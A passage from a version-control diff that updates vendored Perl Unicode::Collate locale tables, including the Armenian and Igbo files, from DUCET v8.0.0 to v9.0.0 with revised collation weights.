-0054 0054 0059 ; [.1E11.0020.0008][.1E11.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER Y>
-007A 007A 0073 ; [.1E9D.0020.0002][.1E9D.0020.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-007A 007A 0053 ; [.1E9D.0020.0002][.1E9D.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-007A 005A 0073 ; [.1E9D.0020.0002][.1E9D.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-007A 005A 0053 ; [.1E9D.0020.0002][.1E9D.0020.0008] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-005A 007A 0073 ; [.1E9D.0020.0008][.1E9D.0020.0002] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-005A 007A 0053 ; [.1E9D.0020.0008][.1E9D.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-005A 005A 0073 ; [.1E9D.0020.0008][.1E9D.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-005A 005A 0053 ; [.1E9D.0020.0008][.1E9D.0020.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0063 0073 ; [.1C7B.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER S>
+0063 0053 ; [.1C7B.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER S>
+0043 0073 ; [.1C7B.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER S>
+0043 0053 ; [.1C7B.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER S>
+0064 007A ; [.1C90.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
+0064 005A ; [.1C90.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z>
+0044 007A ; [.1C90.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
+0044 005A ; [.1C90.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
+0064 007A 0073 ; [.1C91.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+0064 007A 0053 ; [.1C91.0020.0007][.0000.0000.0002][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+0064 005A 0073 ; [.1C91.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+0064 005A 0053 ; [.1C91.0020.0007][.0000.0000.0002][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+0044 007A 0073 ; [.1C91.0020.0007][.0000.0000.0008][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+0044 007A 0053 ; [.1C91.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+0044 005A 0073 ; [.1C91.0020.0007][.0000.0000.0008][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+0044 005A 0053 ; [.1C91.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+0067 0079 ; [.1CF5.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER Y>
+0067 0059 ; [.1CF5.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER Y>
+0047 0079 ; [.1CF5.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER Y>
+0047 0059 ; [.1CF5.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER Y>
+006C 0079 ; [.1D78.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER Y>
+006C 0059 ; [.1D78.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER Y>
+004C 0079 ; [.1D78.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER Y>
+004C 0059 ; [.1D78.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER Y>
+006E 0079 ; [.1DBA.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
+006E 0059 ; [.1DBA.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER Y>
+004E 0079 ; [.1DBA.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
+004E 0059 ; [.1DBA.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
+0073 007A ; [.1E72.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER Z>
+0073 005A ; [.1E72.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER Z>
+0053 007A ; [.1E72.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER Z>
+0053 005A ; [.1E72.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER Z>
+0074 0079 ; [.1E96.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER Y>
+0074 0059 ; [.1E96.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER Y>
+0054 0079 ; [.1E96.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER Y>
+0054 0059 ; [.1E96.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER Y>
+007A 0073 ; [.1F22.0020.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+007A 0053 ; [.1F22.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+005A 0073 ; [.1F22.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+005A 0053 ; [.1F22.0020.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+00F6      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1DDE.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1DDE.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1DDE.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1DDE.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+00FC      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1EB6.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1EB6.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1EB6.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1EB6.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0063 0063 0073 ; [.1C7B.0020.0002][.1C7B.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER C, LATIN SMALL LETTER S>
+0063 0063 0053 ; [.1C7B.0020.0002][.1C7B.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER C, LATIN CAPITAL LETTER S>
+0063 0043 0073 ; [.1C7B.0020.0002][.1C7B.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER C, LATIN SMALL LETTER S>
+0063 0043 0053 ; [.1C7B.0020.0002][.1C7B.0020.0008] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER S>
+0043 0063 0073 ; [.1C7B.0020.0008][.1C7B.0020.0002] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER C, LATIN SMALL LETTER S>
+0043 0063 0053 ; [.1C7B.0020.0008][.1C7B.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER C, LATIN CAPITAL LETTER S>
+0043 0043 0073 ; [.1C7B.0020.0008][.1C7B.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER C, LATIN SMALL LETTER S>
+0043 0043 0053 ; [.1C7B.0020.0008][.1C7B.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER S>
+0064 0064 007A ; [.1C90.0020.0002][.1C90.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
+0064 0064 005A ; [.1C90.0020.0002][.1C90.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z>
+0064 0044 007A ; [.1C90.0020.0002][.1C90.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
+0064 0044 005A ; [.1C90.0020.0002][.1C90.0020.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
+0044 0064 007A ; [.1C90.0020.0008][.1C90.0020.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
+0044 0064 005A ; [.1C90.0020.0008][.1C90.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z>
+0044 0044 007A ; [.1C90.0020.0008][.1C90.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
+0044 0044 005A ; [.1C90.0020.0008][.1C90.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
+0064 0064 007A 0073 ; [.1C91.0020.0002][.1C91.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+0064 0064 007A 0053 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+0064 0064 005A 0073 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+0064 0064 005A 0053 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+0064 0044 007A 0073 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+0064 0044 007A 0053 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+0064 0044 005A 0073 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+0064 0044 005A 0053 ; [.1C91.0020.0002][.1C91.0020.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+0044 0064 007A 0073 ; [.1C91.0020.0008][.1C91.0020.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+0044 0064 007A 0053 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+0044 0064 005A 0073 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+0044 0064 005A 0053 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+0044 0044 007A 0073 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+0044 0044 007A 0053 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+0044 0044 005A 0073 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+0044 0044 005A 0053 ; [.1C91.0020.0008][.1C91.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+0067 0067 0079 ; [.1CF5.0020.0002][.1CF5.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER G, LATIN SMALL LETTER Y>
+0067 0067 0059 ; [.1CF5.0020.0002][.1CF5.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER G, LATIN CAPITAL LETTER Y>
+0067 0047 0079 ; [.1CF5.0020.0002][.1CF5.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER G, LATIN SMALL LETTER Y>
+0067 0047 0059 ; [.1CF5.0020.0002][.1CF5.0020.0008] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER Y>
+0047 0067 0079 ; [.1CF5.0020.0008][.1CF5.0020.0002] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER G, LATIN SMALL LETTER Y>
+0047 0067 0059 ; [.1CF5.0020.0008][.1CF5.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER G, LATIN CAPITAL LETTER Y>
+0047 0047 0079 ; [.1CF5.0020.0008][.1CF5.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER G, LATIN SMALL LETTER Y>
+0047 0047 0059 ; [.1CF5.0020.0008][.1CF5.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER Y>
+006C 006C 0079 ; [.1D78.0020.0002][.1D78.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L, LATIN SMALL LETTER Y>
+006C 006C 0059 ; [.1D78.0020.0002][.1D78.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L, LATIN CAPITAL LETTER Y>
+006C 004C 0079 ; [.1D78.0020.0002][.1D78.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L, LATIN SMALL LETTER Y>
+006C 004C 0059 ; [.1D78.0020.0002][.1D78.0020.0008] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER Y>
+004C 006C 0079 ; [.1D78.0020.0008][.1D78.0020.0002] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L, LATIN SMALL LETTER Y>
+004C 006C 0059 ; [.1D78.0020.0008][.1D78.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L, LATIN CAPITAL LETTER Y>
+004C 004C 0079 ; [.1D78.0020.0008][.1D78.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L, LATIN SMALL LETTER Y>
+004C 004C 0059 ; [.1D78.0020.0008][.1D78.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER Y>
+006E 006E 0079 ; [.1DBA.0020.0002][.1DBA.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
+006E 006E 0059 ; [.1DBA.0020.0002][.1DBA.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER N, LATIN CAPITAL LETTER Y>
+006E 004E 0079 ; [.1DBA.0020.0002][.1DBA.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
+006E 004E 0059 ; [.1DBA.0020.0002][.1DBA.0020.0008] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
+004E 006E 0079 ; [.1DBA.0020.0008][.1DBA.0020.0002] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
+004E 006E 0059 ; [.1DBA.0020.0008][.1DBA.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER N, LATIN CAPITAL LETTER Y>
+004E 004E 0079 ; [.1DBA.0020.0008][.1DBA.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
+004E 004E 0059 ; [.1DBA.0020.0008][.1DBA.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
+0073 0073 007A ; [.1E72.0020.0002][.1E72.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER S, LATIN SMALL LETTER Z>
+0073 0073 005A ; [.1E72.0020.0002][.1E72.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER S, LATIN CAPITAL LETTER Z>
+0073 0053 007A ; [.1E72.0020.0002][.1E72.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER S, LATIN SMALL LETTER Z>
+0073 0053 005A ; [.1E72.0020.0002][.1E72.0020.0008] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER Z>
+0053 0073 007A ; [.1E72.0020.0008][.1E72.0020.0002] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER S, LATIN SMALL LETTER Z>
+0053 0073 005A ; [.1E72.0020.0008][.1E72.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER S, LATIN CAPITAL LETTER Z>
+0053 0053 007A ; [.1E72.0020.0008][.1E72.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER S, LATIN SMALL LETTER Z>
+0053 0053 005A ; [.1E72.0020.0008][.1E72.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER Z>
+0074 0074 0079 ; [.1E96.0020.0002][.1E96.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER T, LATIN SMALL LETTER Y>
+0074 0074 0059 ; [.1E96.0020.0002][.1E96.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER T, LATIN CAPITAL LETTER Y>
+0074 0054 0079 ; [.1E96.0020.0002][.1E96.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER T, LATIN SMALL LETTER Y>
+0074 0054 0059 ; [.1E96.0020.0002][.1E96.0020.0008] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER Y>
+0054 0074 0079 ; [.1E96.0020.0008][.1E96.0020.0002] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER T, LATIN SMALL LETTER Y>
+0054 0074 0059 ; [.1E96.0020.0008][.1E96.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER T, LATIN CAPITAL LETTER Y>
+0054 0054 0079 ; [.1E96.0020.0008][.1E96.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER T, LATIN SMALL LETTER Y>
+0054 0054 0059 ; [.1E96.0020.0008][.1E96.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER Y>
+007A 007A 0073 ; [.1F22.0020.0002][.1F22.0020.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+007A 007A 0053 ; [.1F22.0020.0002][.1F22.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+007A 005A 0073 ; [.1F22.0020.0002][.1F22.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+007A 005A 0053 ; [.1F22.0020.0002][.1F22.0020.0008] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
+005A 007A 0073 ; [.1F22.0020.0008][.1F22.0020.0002] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
+005A 007A 0053 ; [.1F22.0020.0008][.1F22.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
+005A 005A 0073 ; [.1F22.0020.0008][.1F22.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
+005A 005A 0053 ; [.1F22.0020.0008][.1F22.0020.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hy.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hy.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hy.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0587      ; [.222E.0020.0002][.FFF1.0000.0000] # ARMENIAN SMALL LIGATURE ECH YIWN
-0584      ; [.222E.0020.0002][.FFF0.0000.0000] # ARMENIAN SMALL LETTER KEH
-0535 0582 ; [.222E.0020.0008][.FFF1.0000.0000] # <ARMENIAN CAPITAL LETTER ECH, ARMENIAN SMALL LETTER YIWN>
-0554      ; [.222E.0020.0008][.FFF0.0000.0000] # ARMENIAN CAPITAL LETTER KEH
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0587      ; [.22B3.0020.0002][.FFF1.0000.0000] # ARMENIAN SMALL LIGATURE ECH YIWN
+0584      ; [.22B3.0020.0002][.FFF0.0000.0000] # ARMENIAN SMALL LETTER KEH
+0535 0582 ; [.22B3.0020.0008][.FFF1.0000.0000] # <ARMENIAN CAPITAL LETTER ECH, ARMENIAN SMALL LETTER YIWN>
+0554      ; [.22B3.0020.0008][.FFF0.0000.0000] # ARMENIAN CAPITAL LETTER KEH
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ig.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ig.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ig.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,54 +1,54 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0063 0068 ; [.1BDC.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0043 0068 ; [.1BDC.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1BDC.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-0067 0062 ; [.1C70.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER B>
-0047 0062 ; [.1C70.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER B>
-0047 0042 ; [.1C70.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER B>
-0067 0068 ; [.1C71.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER H>
-0047 0068 ; [.1C71.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER H>
-0047 0048 ; [.1C71.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER H>
-0067 0077 ; [.1C72.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER W>
-0047 0077 ; [.1C72.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER W>
-0047 0057 ; [.1C72.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER W>
-1ECB      ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW
-0069 0323 ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW
-1ECA      ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW
-0049 0323 ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW
-006B 0070 ; [.1CE1.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER P>
-004B 0070 ; [.1CE1.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER P>
-004B 0050 ; [.1CE1.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER P>
-006B 0077 ; [.1CE2.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER W>
-004B 0077 ; [.1CE2.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER W>
-004B 0057 ; [.1CE2.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER W>
-1E45      ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE
-006E 0307 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE
-1E44      ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE
-004E 0307 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE
-006E 0077 ; [.1D36.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER W>
-004E 0077 ; [.1D36.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER W>
-004E 0057 ; [.1D36.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER W>
